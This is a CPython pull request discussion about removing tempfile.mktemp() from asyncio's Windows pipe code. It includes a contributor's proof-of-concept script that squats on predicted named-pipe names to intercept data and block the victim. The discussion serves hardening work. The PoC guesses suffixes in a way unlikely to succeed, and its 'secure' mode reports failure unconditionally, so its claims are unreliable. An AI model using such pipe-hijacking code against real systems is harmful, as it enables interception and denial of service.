gh-137335: Remove use of mktemp() in asyncio.windows_utils

[lighting9999]

matemp() function is unsafe,so I use safety function.
bandit tool:

Issue: [B306:blacklist] Use of insecure and deprecated function (mktemp).
Severity: Medium Confidence: High
CWE: CWE-377 (https://cwe.mitre.org/data/definitions/377.html)
More Info: https://bandit.readthedocs.io/en/1.8.6/blacklists/blacklist_calls.html#b306-mktemp-q
Location: C:\Users\Administrator\Desktop\cpython\lib\asyncio\windows_utils.py:34:14
33 """Like os.pipe() but with overlapped support and using handles not fds."""
34 address = tempfile.mktemp(
35 prefix=r'\.\pipe\python-pipe-{:d}-{:d}-'.format(
36 os.getpid(), next(_mmap_counter)))
37

• Issue: Replace usages of tempfile.mktemp() in asyncio.windows_utils and multiprocessing.connection.arbitrary_address #137335

[bedevere-app]

Most changes to Python require a NEWS entry. Add one using the blurb_it web app or the blurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply the skip news label instead.

[bedevere-app]

Most changes to Python require a NEWS entry. Add one using the blurb_it web app or the blurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply the skip news label instead.

[StanFromIreland]

Hello, thanks for your contribution. Yes, tempfile.mktemp has been deprecated since 2.3 due such security issues. This has however broken our test suite. There are also still quite a few usages in the stdlib. Please first create an issue.

[bedevere-app]

Most changes to Python require a NEWS entry. Add one using the blurb_it web app or the blurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply the skip news label instead.

[lighting9999]

Hello, thanks for your contribution. Yes, tempfile.mktemp has been deprecated since 2.3 due such security issues. This has however broken our test suite. There are also still quite a few usages in the stdlib. Please first create an issue.

@StanFromIreland I create issue at #137335, welcome to change!

[picnixz]

The title is wrong. This doesn't deprecate mktemp() and the fix does not take into account the temporary directory anymore which is wrong (now the address file will be directly in \\.pipe\... instead of the temporary directory described by the user). Please use tempfile.mkstemp instead.

[bedevere-app]

A Python core developer has requested some changes be made to your pull request before we can consider merging it. If you could please address their requests along with any other requests in other reviews from core developers that would be appreciated.

Once you have made the requested changes, please leave a comment on this pull request containing the phrase I have made the requested changes; please review again. I will then notify any core developers who have left a review that you're ready for them to take another look at this pull request.

[picnixz]

I'm tagging this as DO-NOT-MERGE until we prove that there are indeed real possible issues here. I honestly don't think there are possible issues in practice as we are using a custom prefix here, and if someone beats us in creating the file, then ... that's not an issue IMO since that means it must be crafted internally or intentionally as we are also using the process ID to reduce collisions. In the first case, that's an issue to solve on our side but I can't find something similar. In the second case, we would just use that bad file but the files are opened in generic read/write mode (read-only if not duplex). I'm not an expert in the Windows API though so I'd like concrete evidence of a possible security issue here.

[bedevere-app]

Most changes to Python require a NEWS entry. Add one using the blurb_it web app or the blurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply the skip news label instead.

[bedevere-app]

Most changes to Python require a NEWS entry. Add one using the blurb_it web app or the blurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply the skip news label instead.

[lighting9999]

I wrote a POC and found out that it had the possibility of denial of service.

import os
import sys
import time
import _winapi
import threading
import itertools
import tempfile
import uuid

# Windows API constant definitions
PIPE_ACCESS_DUPLEX = 0x00000003
FILE_FLAG_OVERLAPPED = 0x40000000
FILE_FLAG_FIRST_PIPE_INSTANCE = 0x00080000
PIPE_TYPE_BYTE = 0x00000000
PIPE_READMODE_BYTE = 0x00000000
PIPE_WAIT = 0x00000000
PIPE_REJECT_REMOTE_CLIENTS = 0x00000008
NMPWAIT_WAIT_FOREVER = 0xFFFFFFFF
OPEN_EXISTING = 3
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
FILE_ATTRIBUTE_NORMAL = 0x80
NULL = 0

def vulnerable_pipe_creation():
    """Simulates the insecure pipe creation method in the original code"""
    _mmap_counter = itertools.count()
    # Pipe name generation from original implementation
    address = tempfile.mktemp(
        prefix=r'\\.\pipe\python-pipe-{:d}-{:d}-'.format(
            os.getpid(), next(_mmap_counter)))
    
    print(f"[VICTIM] Attempting to create pipe: {address}")
    
    # Create pipe
    try:
        # Create named pipe
        h1 = _winapi.CreateNamedPipe(
            address, 
            PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED | FILE_FLAG_FIRST_PIPE_INSTANCE,
            PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT | PIPE_REJECT_REMOTE_CLIENTS,
            1, 8192, 8192, NMPWAIT_WAIT_FOREVER, NULL)
        
        print(f"[VICTIM] Pipe created successfully! Waiting for connection...")
        
        # Create client handle
        h2 = _winapi.CreateFile(
            address, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, NULL)
        
        # Wait for connection
        _winapi.ConnectNamedPipe(h1, NULL)
        print(f"[VICTIM] Connection established! Writing data...")
        
        # Write data
        data = b"Sensitive data: user credentials"
        written, _ = _winapi.WriteFile(h1, data, len(data), NULL)
        print(f"[VICTIM] Data written to pipe: {written} bytes")
        
        # Cleanup
        _winapi.CloseHandle(h1)
        _winapi.CloseHandle(h2)
        
    except OSError as e:
        print(f"[VICTIM] Pipe operation failed: {e}")

def attacker_thread(pid):
    """Attacker thread - attempts to hijack target pipe"""
    print(f"[ATTACKER] Starting attacker thread, target PID: {pid}")
    
    # Attempt to predict pipe name
    base_name = r'\\.\pipe\python-pipe-{:d}-0-'.format(pid) 
    
    # Try multiple possible random suffixes
    for _ in range(1000):  
        # Generate 6 random characters (simulating tempfile.mktemp behavior)
        random_bytes = os.urandom(6)
        random_suffix = ''.join(chr(ord('a') + (b % 26)) for b in random_bytes)
        pipe_name = base_name + random_suffix
        
        try:
            # Attempt to create pipe (get there first)
            h_pipe = _winapi.CreateNamedPipe(
                pipe_name,
                PIPE_ACCESS_DUPLEX,
                PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT | PIPE_REJECT_REMOTE_CLIENTS,
                1, 8192, 8192, 0, NULL)
            
            # Successfully created pipe - means we beat the target
            print(f"[ATTACKER] Successfully created pipe: {pipe_name}! Waiting for victim connection...")
            
            # Wait for victim to connect
            _winapi.ConnectNamedPipe(h_pipe, NULL)
            print(f"[ATTACKER] Victim has connected! Reading data...")
            
            # Read data sent by victim
            data, bytes_read, _ = _winapi.ReadFile(h_pipe, 4096, NULL)
            print(f"[ATTACKER] Successfully intercepted data: {data[:bytes_read].decode()}")
            
            # Keep pipe open to prevent normal victim usage
            input("[ATTACKER] Press Enter to close pipe and exit...")
            _winapi.CloseHandle(h_pipe)
            return
            
        except OSError as e:
            # Pipe already exists or other error - keep trying
            if e.winerror not in (183, 231):  # ERROR_ALREADY_EXISTS, ERROR_PIPE_BUSY
                print(f"[ATTACKER] Error (winerror={e.winerror}): {e}")
            time.sleep(0.01)  # Shorter wait time
    
    print("[ATTACKER] Failed to hijack any pipe")

def fixed_pipe_creation():
    """Fixed pipe creation method - using UUID"""
    # Secure implementation
    address = r'\\.\pipe\python-pipe-{:d}-{:s}'.format(
        os.getpid(), uuid.uuid4().hex)
    
    print(f"[SECURE] Attempting to create pipe: {address}")
    
    try:
        # Create named pipe
        h1 = _winapi.CreateNamedPipe(
            address, 
            PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED | FILE_FLAG_FIRST_PIPE_INSTANCE,
            PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT | PIPE_REJECT_REMOTE_CLIENTS,
            1, 8192, 8192, NMPWAIT_WAIT_FOREVER, NULL)
        
        print(f"[SECURE] Pipe created successfully! Waiting for connection...")
        
        # Create client handle
        h2 = _winapi.CreateFile(
            address, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, NULL)
        
        # Wait for connection
        _winapi.ConnectNamedPipe(h1, NULL)
        print(f"[SECURE] Connection established! Writing data...")
        
        # Write data
        data = b"This is secure data"
        written, _ = _winapi.WriteFile(h1, data, len(data), NULL)
        print(f"[SECURE] Data written securely: {written} bytes")
        
        # Cleanup
        _winapi.CloseHandle(h1)
        _winapi.CloseHandle(h2)
        
    except OSError as e:
        print(f"[SECURE] Pipe operation failed: {e}")

def main():
    print("Named Pipe Security Vulnerability Proof of Concept")
    print("=" * 50)
    
    if len(sys.argv) < 2:
        print("Please select a mode:")
        print("1. Demonstrate vulnerability (victim + attacker)")
        print("2. Demonstrate securely fixed implementation")
        choice = input("Enter selection (1 or 2): ")
    else:
        choice = sys.argv[1]
    
    if choice == "1":
        print("\n=== Vulnerability Demonstration Mode ===")
        print("Two threads will be started:")
        print("1. Victim thread - attempts to create named pipe and write sensitive data")
        print("2. Attacker thread - attempts to hijack the victim's pipe\n")
        
        # Start attacker thread
        attacker = threading.Thread(target=attacker_thread, args=(os.getpid(),))
        attacker.daemon = True
        attacker.start()
        
        # Give attacker a moment to start
        time.sleep(0.5)
        
        # Start victim
        vulnerable_pipe_creation()
        
        # Wait for attacker to finish
        attacker.join(timeout=5)
        
    elif choice == "2":
        print("\n=== Secure Fix Demonstration Mode ===")
        print("Using UUID to generate random pipe names, preventing prediction")
        
        # Attempt to start attacker (should fail)
        attacker = threading.Thread(target=attacker_thread, args=(os.getpid(),))
        attacker.daemon = True
        attacker.start()
        
        time.sleep(0.5)
        
        # Create pipe using secure method
        fixed_pipe_creation()
        
        # Wait for attacker to finish (should fail)
        attacker.join(timeout=2)
        print("[SECURE] Attacker failed to hijack the pipe")
    
    print("\nDemonstration complete")

if __name__ == "__main__":
    main()

[StanFromIreland]

Please do not use the Update Branch button unless necessary (e.g. fixing conflicts, jogging the CI, or very old PRs) as it uses valuable resources. For more information see the devguide.

[lighting9999]

Please do not use the Update Branch button unless necessary (e.g. fixing conflicts, jogging the CI, or very old PRs) as it uses valuable resources. For more information see the devguide.

ok

[bedevere-app]

Most changes to Python require a NEWS entry. Add one using the blurb_it web app or the blurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply the skip news label instead.

[picnixz]

The title hasn't been changed, and there is still a similar construction in multiprocessing.utils. The NEWS entry is still missing.

[bedevere-app]

Most changes to Python require a NEWS entry. Add one using the blurb_it web app or the blurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply the skip news label instead.

[lighting9999]

The title hasn't been changed, and there is still a similar construction in multiprocessing.utils. The NEWS entry is still missing.

multiprocessing.utils exists in that module or in that file?

[StanFromIreland]

It is in Lib/multiprocessing/util.py

[lighting9999]

ok

[picnixz]

Sorry, I actually meant arbitrary_address in multiprocessing.connection, not multiprocessing.util.